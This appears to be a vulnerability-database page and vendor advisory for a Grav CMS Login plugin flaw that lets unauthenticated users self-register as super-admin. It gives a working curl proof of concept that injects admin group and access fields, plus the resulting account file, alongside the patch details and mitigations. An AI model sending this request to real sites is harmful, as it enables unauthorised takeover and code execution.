Grav CMS CVE-2026-42613
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify Grav instance with registration enabled
-
DeliveryCraft POST with injected groups/access privilege fields
-
ExploitSubmit registration form to /user_register endpoint
-
ExecutionServer saves attacker-controlled YAML account file
-
PersistAuthenticate to /admin with new super-admin credentials
-
ImpactExecute arbitrary code via admin panel RCE vectors
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | User registration must be enabled in the Login plugin configuration (user_registration.enabled: true). The administrator must have added groups and/or access to the user_registration.fields array in user/config/plugins/login.yaml - this is NOT a default setting but is permitted without warning by the Grav admin interface. Vulnerable configurations look like: fields: [username, password, email, fullname, groups]. Default Grav installations with registration disabled or using only the default field set (username, password, email, fullname) are not exploitable. The vulnerability affects both authenticated and unauthenticated registration endpoints, but primary attack vector is unauthenticated self-registration. No specific network topology, user interaction, or platform dependency limits exploitation beyond the configuration precondition. |
| Impact | CVSS 9.4 (Critical) with AV:N/AC:L/PR:N/UI:N indicates remote unauthenticated exploitation with low complexity against default configurations. However, exploitation requires a non-default precondition: administrators must enable user registration AND add groups or access to the user_registration.fields list in login.yaml - a configuration the admin UI permits without warnings but not enabled by default. This significantly reduces real-world attack surface compared to the raw CVSS score, as most production Grav instances either disable public registration or use the default field set (username, password, email, fullname). The impact when exploitable is maximal: instant super-admin access chains to remote code execution via documented admin panel RCE vectors (GHSA-4fg4-8cr8-326m) or malicious plugin uploads. No EPSS or KEV data provided, but the availability of detailed POC code in the public GitHub security advisory lowers the skill barrier for exploitation. The fix is a simple server-side privilege field blocklist, confirmed in commit 3d419a0 - sites running Grav 2.0.0-beta.2 or Login plugin >=3.8.2 are protected. Sites on Grav 1.x must manually upgrade the Login plugin. The precondition requirement prevents this from being a widespread mass-exploitation risk despite the critical CVSS rating. |
| Exploit ScenarioDerived | An attacker identifies a Grav CMS instance with public user registration enabled and discovers the site accepts groups or access fields via form probing or error message disclosure. The attacker crafts a registration POST request to /user_register including data[groups][]=admins, data[access][admin][login]=true, and data[access][admin][super]=true alongside valid username, password, and email. The Login::register() method's isset() check finds these fields in the POST data, skips applying config-level defaults, and directly assigns the attacker-supplied privilege arrays to the new User object before saving to user/accounts/attacker.yaml. The attacker logs into /admin with the newly created super-admin account and leverages known admin panel RCE vectors or uploads a malicious plugin to execute arbitrary code on the server. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Unauthenticated privilege escalation in Grav CMS Login plugin 3.8.0 allows remote attackers to self-register with admin.super privileges via missing server-side validation of groups and access fields. When administrators configure user registration with groups or access in allowed fields (a permitted UI action), attackers inject these fields into registration POST requests to bypass config-level defaults and gain full administrative access. Vendor-released patch: Login plugin 3.8.2 / Grav 2.0.0-beta.2 (commit 3d419a0). No public exploit identified at time of analysis, but the GitHub security advisory includes detailed proof-of-concept code demonstrating the attack.
RemediationAI
Upgrade to Grav CMS 2.0.0-beta.2 or later, which pins Login plugin >=3.8.2 via admin2 blueprints and includes the fix. For Grav 1.x installations, manually update the Login plugin to version 3.8.2 or later from https://github.com/getgrav/grav-plugin-login/releases. The patch (commit 3d419a0dabd70aed1fd49afcd5919004a4141da1) adds a privilege field blocklist to the registration form handler that ignores groups and access from client input even when administrators include them in user_registration.fields, logging warnings on injection attempts. Compensating control if immediate patching is not feasible: remove groups and access from the user_registration.fields array in user/config/plugins/login.yaml, ensuring only safe fields (username, password, email, fullname, language) are included - this eliminates the attack vector but prevents legitimate group assignment during registration; alternatively, disable public user registration entirely by setting user_registration.enabled: false until patching is complete. Note that disabling registration may impact user onboarding workflows, while restricting fields prevents admin-intended group selection features from functioning.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exists in the Login plugin for Grav CMS, a flat-file content management system written in PHP. The Login::register() method in classes/Login.php uses PHP's isset() to check for groups and access fields in POST data, applying config defaults only when these fields are absent. When present in attacker input, the fields bypass all validation - the validateField() method's switch statement only validates username, password, password2, email, permissions, state, and language, passing groups and access through the default case with no sanitization. The resulting User object is saved with attacker-controlled privilege arrays written directly to YAML account files under user/accounts/. This violates CWE-20 (Improper Input Validation) by trusting client-supplied authorization data without server-side enforcement of allowed values. The vulnerability represents a mass assignment issue where the framework's field allowlist is treated as a user preference rather than a security boundary.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Primary rating from Vendor (https://github.com/getgrav/grav) · only source for this CVE.
CVSS VectorVendor: https://github.com/getgrav/grav
DescriptionCVE.org
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue - the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups
# ← enables the attack
- access
# ← enables the attackThis is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email]=attacker@evil.com" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"Resulting account file (user/accounts/attacker.yaml):
email: attacker@evil.com
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabledThe attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when precondition is met)
- Vector: Unauthenticated → Super Admin
- Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
- Precondition: Registration enabled with
groupsoraccessin allowed fields - a configuration the admin UI permits without warning
Environment
- Grav Core: 1.8.0-beta.29
- Login Plugin: 3.8.0
- PHP: 8.4.11
Credits
Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
---
Maintainer note - fix applied (2026-04-24)
Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.
What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop - even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.
Files:
login.php- form handler privilege-field strip.
Executive ViewAI
Grav CMS Login plugin versions prior to 3.8.2 contain a critical unauthenticated privilege escalation vulnerability that allows attackers to self-register with full administrative access by injecting admin fields during account creation. Organizations running affected Grav instances face immediate risk of complete system compromise and unauthorized administrative control without requiring valid credentials or authenticated access.
If immediate patching is not feasible: (1) Disable user self-registration functionality in Grav admin configuration to prevent exploit execution; (2) Implement network-level access controls restricting registration endpoints to trusted networks; (3) Enable audit logging for all account creation events and monitor for registrations with elevated privileges; (4) Conduct immediate forensic review of existing user accounts for suspicious administrative access creation.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-pxm6-mhxr-q4mj
NVD
CVE.org
EPSS
Exploit-DB